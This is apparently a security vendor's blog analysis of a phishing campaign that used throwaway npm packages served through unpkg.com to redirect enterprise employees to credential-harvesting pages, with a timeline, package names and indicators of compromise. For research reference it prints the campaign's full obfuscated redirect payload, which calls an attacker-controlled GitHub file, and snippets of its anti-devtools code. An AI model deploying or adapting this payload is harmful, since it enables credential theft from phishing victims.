Skip to main content

Phishing Campaign Leveraging the NPM Ecosystem

Written by

October 9, 2025

0 mins read

In October 2025, researchers uncovered a phishing operation that weaponizes the npm ecosystem, but this time not to infect developers at install time, but rather to host and deliver phishing scripts via the trusted unpkg.com CDN.

Threat actors seeded more than 175+ throwaway packages as disposable hosting for JavaScript that auto-redirects victims to credential-harvesting sites when opened from crafted HTML “business documents”. According to Socket, who initially shared the news and provided first data points, the targets in this attack span 135+ organizations (industrial, tech, and energy, mainly in Europe). Following the disclosure, Snyk further mapped the campaign’s packages and identified a separate cluster using mad-x.x.x.x.x.x names (where x is a random number), which appear related or copycat experimentation with similar infrastructure and intent.

Unlike the more familiar tactic of simply uploading malicious packages to compromise developers during package installation, this campaign takes a different path. Instead of infecting users via npm install, the attackers leverage the browser delivery path through unpkg, turning legitimate open source hosting infrastructure into a phishing mechanism. It’s a clear sign that threat actors are exploring methods beyond conventional package-based exploits and are actively probing new ways to weaponize the open source ecosystem itself. While this isn’t a classic supply-chain compromise, it is one worth watching closely.

What happened in this supply chain attack

  1. Mass package publication: Adversaries automated the creation of many npm packages (pattern redirect-[a-z0-9]{6}) with minimal contents: beamglea.js and HTML lure files.

  2. Automatic CDN availability: As soon as a package version is public, the popular and centralized CDN resource at unpkg.com can be referenced in <script src="https://unpkg.com/<name>@<ver>/beamglea.js"> to then make use of those malware packages.

  3. Phishing distribution: Targets receive custom HTML files (often mimicking invoices and other data). Opening them then triggers the unpkg script load.

  4. Credential capture: The script immediately redirects to an attacker page and passes the victim’s email via URL fragment so the phishing form is pre-filled. This creates an effective trust cue that avoids server logs.

Timeline

The timeline known so far from this evolving incident is as follows:

  • Sept 24, 2025: Initial traces of the infrastructure were reported publicly.

  • Oct 9, 2025: Socket publishes research detailing the 175 packages, the Beamglea codename, the redirect-* naming, and the 135+ impacted organizations.

  • Oct 10, 2025: Snyk internal analysis documents additional packages not listed by Socket, using the mad-* naming scheme (these are still under investigation; attribution and linkage to the same actor are not yet conclusive).

Impacted components

  • Primary: Any user who opens one of the campaign’s HTML lures in a browser that then fetches script from unpkg.com. The victim segment is enterprise employees rather than developers.

  • Package inventory:

    • redirect-* family (≈175 packages) acting as CDN hosts for beamglea.js and HTML files. Socket

    • Snyk-flagged additional set (not in the Socket post):

      • mad-1.0.0.2.2.8, mad-1.2.9.2.2.8, mad-2.4.0.2.2.8, mad-1.4.1.2.2.8, mad-2.0.0.2.2.8, mad-4.0.1.2.2.8, mad-3.0.1.2.2.8, mad-2.0.2.2.2.8, mad-10.1.1.2.2.8, mad-1.4.2.2.2.8, mad-2.4.1.2.2.8, mad-1.4.0.2.2.8, mad-10.2.1.2.2.8, mad-2.0.1.2.2.8, mad-3.0.0.2.2.8, mad-5.0.0.2.2.8, mad-3.0.2.2.2.8, mad-4.0.0.2.2.8, mad-5.0.1.2.2.8, mad-6.0.0.2.2.8

mad-* package analysis

This package contains a fake “Cloudflare Security Check” page that covertly redirects users to an attacker-controlled URL fetched from a remote GitHub-hosted file. It includes common anti-analysis logic that blocks inspection shortcuts and attempts to redirect the top window (frame-busting) after a fake verification checkbox is clicked.

What it does

Phishing/lure UI: Mimics Cloudflare and references the possible target.

<h1>Security Check</h1>
<p class="description">
  We are checking your browser before granting access to 
    <span style="font-weight: bold; color: black; font-size: 1.1em;">redacted.site</span>.
  This may take a few seconds.
</p>

Anti-devtools detection: The code periodically checks for developer tools and, if detected, blanks the page or redirects.

  const CHECK_INTERVAL = 600; 
  const SIZE_THRESHOLD = 160; 
  const REACTION = 'blank'; 
  ...
  function sizeCheck() {
    ...
    return (dw > SIZE_THRESHOLD) || (dh > SIZE_THRESHOLD);
  function consoleCheck() {
    ...
    Object.defineProperty(obj, 'id', {
      get: function() {
        open = true;
        return '1';
      }
    });
    console.log(obj);
    return open;

User-action trigger: When the “I am not a robot” checkbox is checked, it shows a spinner, then fetches a remote text file. If the file contains a URL, it redirects the browser (or its parent frame) to that URL. 

Inspection hardening: Disables right-click, F12, common devtools shortcuts, and “view source”/“save”.

    document.addEventListener('contextmenu', function(e) {
        e.preventDefault();
    });

    document.addEventListener('keydown', function(e) {

        if (e.key === "F12") {
            e.preventDefault();
        }

        if ((e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'J')) || 
            (e.ctrlKey && (e.key === 'U' || e.key === 'S'))) {
            e.preventDefault();
        }
    });

The malware payload

As a reference for other security researchers and readers, we provide the full script.js obfuscated code. This payload is loaded via the following page script <script src="https://unpkg.com/mad-4.0.0.2.2.8.@3.0.1/script.js" defer></script> <script>.

The malware payload:

function _0xab84(_0x5df706, _0x320379) {
    const _0x12f2bf = _0x12f2();
    return _0xab84 = function (_0xab8422, _0x3659f3) {
        _0xab8422 = _0xab8422 - 0x16e;
        let _0x376c45 = _0x12f2bf[_0xab8422];
        return _0x376c45;
    }, _0xab84(_0x5df706, _0x320379);
}
const _0x454c0a = _0xab84;

function _0x12f2() {
    const _0x199a32 = ['4898145oELnlc', '10LcRtZV', 'then', '15289353dnZbJp', 'addEventListener', '2564739cAzVxA', 'trim', '.checkbox-container', '[redirect] raw text length:', 'style', 'https://raw.githubusercontent.com/Abassdos2992/truboebvitalya/refs/heads/main/mad4.txt', 'status', 'length', 'loadingSpinner', '1796076dMFIfM', '88NkGily', '<p>Success!</p>', '[redirect] fetching URL from', 'location', 'checked', 'GET', 'random', 'href', '4qxNEbE', 'error', '.verification-box', 'none', '[redirect] window.top assignment failed:', '[redirect] fetch status:', '[redirect] fetch failed:', 'innerHTML', '[redirect] unexpected error:', '[redirect] invalid URL format:', '[redirect] empty URL received from GitHub file', 'info', 'DOMContentLoaded', 'display', 'botCheck', '3226570QdFfpZ', '[redirect] redirecting to:', 'getElementById', 'change', '4bDCpQe', 'querySelector', '15100920Pnmwdh', 'top', 'no-store', 'block', '6VLioyL', 'test', '937826VuaTzv'];
    _0x12f2 = function () {
        return _0x199a32;
    };
    return _0x12f2();
}(function (_0x5ee12f, _0x463d21) {
    const _0xe50adb = _0xab84,
        _0x418764 = _0x5ee12f();
    while (!![]) {
        try {
            const _0x33be1a = parseInt(_0xe50adb(0x19c)) / 0x1 * (parseInt(_0xe50adb(0x184)) / 0x2) + -parseInt(_0xe50adb(0x18a)) / 0x3 * (parseInt(_0xe50adb(0x17c)) / 0x4) + parseInt(_0xe50adb(0x178)) / 0x5 + -parseInt(_0xe50adb(0x182)) / 0x6 * (-parseInt(_0xe50adb(0x185)) / 0x7) + -parseInt(_0xe50adb(0x17e)) / 0x8 + parseInt(_0xe50adb(0x188)) / 0x9 * (parseInt(_0xe50adb(0x186)) / 0xa) + parseInt(_0xe50adb(0x194)) / 0xb * (-parseInt(_0xe50adb(0x193)) / 0xc);
            if (_0x33be1a === _0x463d21) break;
            else _0x418764['push'](_0x418764['shift']());
        } catch (_0xab8496) {
            _0x418764['push'](_0x418764['shift']());
        }
    }
}(_0x12f2, 0xef296), document[_0x454c0a(0x189)](_0x454c0a(0x175), function () {
    const _0xa859eb = _0x454c0a,
        _0x4ef0d2 = document[_0xa859eb(0x17a)](_0xa859eb(0x177)),
        _0x224de6 = document['querySelector'](_0xa859eb(0x19e)),
        _0x441ce0 = document['getElementById'](_0xa859eb(0x192)),
        _0xd10573 = document[_0xa859eb(0x17d)](_0xa859eb(0x18c)),
        _0x10848a = _0xa859eb(0x18f),
        _0x569cab = _0x10848a;
    _0x4ef0d2['addEventListener'](_0xa859eb(0x17b), function () {
        const _0x491ce3 = _0xa859eb;
        if (!this[_0x491ce3(0x198)]) return;
        try {
            _0x184285(), setTimeout(() => {
                _0x405f84(), setTimeout(() => {
                    const _0x89d3d3 = _0xab84;
                    console[_0x89d3d3(0x174)](_0x89d3d3(0x196), _0x569cab), fetch(_0x569cab, {
                        'method': _0x89d3d3(0x199),
                        'cache': _0x89d3d3(0x180)
                    })[_0x89d3d3(0x187)](_0xb053b6 => {
                        const _0x42dda6 = _0x89d3d3;
                        return console[_0x42dda6(0x174)](_0x42dda6(0x16e), _0xb053b6[_0x42dda6(0x190)], _0xb053b6['statusText']), _0xb053b6['text']()[_0x42dda6(0x187)](_0x239cb7 => ({
                            'status': _0xb053b6[_0x42dda6(0x190)],
                            'text': _0x239cb7
                        }));
                    })[_0x89d3d3(0x187)](({
                        status: _0x48490,
                        text: _0x54a6fa
                    }) => {
                        const _0x4408f0 = _0x89d3d3,
                            _0x4cfb55 = (_0x54a6fa || '')[_0x4408f0(0x18b)]();
                        console[_0x4408f0(0x174)](_0x4408f0(0x18d), (_0x54a6fa || '')[_0x4408f0(0x191)]);
                        if (!_0x4cfb55) {
                            console[_0x4408f0(0x19d)](_0x4408f0(0x173));
                            return;
                        }
                        if (!/^https?:\/\//i [_0x4408f0(0x183)](_0x4cfb55)) {
                            console['error'](_0x4408f0(0x172), _0x4cfb55);
                            return;
                        }
                        console[_0x4408f0(0x174)](_0x4408f0(0x179), _0x4cfb55);
                        try {
                            window[_0x4408f0(0x17f)][_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55;
                            return;
                        } catch (_0x86bd20) {
                            console['warn'](_0x4408f0(0x1a0), _0x86bd20);
                        }
                        try {
                            window[_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55;
                        } catch (_0x255bd0) {
                            console[_0x4408f0(0x19d)]('[redirect] window.location assignment failed:', _0x255bd0);
                        }
                    })['catch'](_0x5a4cd6 => {
                        const _0xb0c328 = _0x89d3d3;
                        console[_0xb0c328(0x19d)](_0xb0c328(0x16f), _0x5a4cd6);
                    });
                }, 0x3e8);
            }, 0x7d0 + Math[_0x491ce3(0x19a)]() * 0x3e8);
        } catch (_0x96207c) {
            console[_0x491ce3(0x19d)](_0x491ce3(0x171), _0x96207c);
        }
    });

    function _0x184285() {
        const _0x5471f3 = _0xa859eb;
        if (_0xd10573) _0xd10573['style']['display'] = _0x5471f3(0x19f);
        if (_0x441ce0) _0x441ce0[_0x5471f3(0x18e)]['display'] = _0x5471f3(0x181);
    }

    function _0x405f84() {
        const _0x197e4e = _0xa859eb;
        if (_0x441ce0) _0x441ce0['style'][_0x197e4e(0x176)] = 'none';
        if (_0x224de6) _0x224de6[_0x197e4e(0x170)] = _0x197e4e(0x195);
    }
}));

FAQs 

What are the indicators of compromise (IOC) for this supply chain attack?

File/Content clues (endpoints or email gateways):

  • HTML with a <script src="https://unpkg.com/redirect-<6-char-suffix>@<semver>/beamglea.js">.

  • HTML meta tag seen across lures: name="html-meta" content="nb830r6x".

Network clues:

  • Outbound requests from user endpoints to unpkg.com when immediately followed by navigation to suspicious domains such as cfn.jackpotmastersdanske[.]com.

Package clues (repos/dev environments):

  • Presence of low-signal npm packages named like redirect-[a-z0-9]{6} or the mad-* list above, even if not installed (as they are loaded remotely over the wire from unpkg.com).

Which open source components are involved in this attack?

  • npm registry: used as a free, reputable hosting origin by publishing many low-value packages (e.g., redirect-<random>), each containing a tiny redirector script and lure files.

  • unpkg.com CDN: automatically serves any public npm package over HTTPS, which attackers leverage to load beamglea.js directly in victims’ browsers.

  • Victim-facing HTML lures: innocuous-looking purchase orders or project docs that, when opened locally, pull the script from the unpkg.com centralized CDN and send users to fake login portals with the email field pre-filled (thus, setting the stage for increasing credibility).

SNYK LABS

Try Snyk’s Latest Innovations in AI Security

Snyk customers now have access to Snyk AI-BOM and Snyk MCP-Scan in experimental preview – with more to come!

Snyk Top 10: Vulnerabilites you should know

Find out which types of vulnerabilities are most likely to appear in your projects based on Snyk scan results and security research.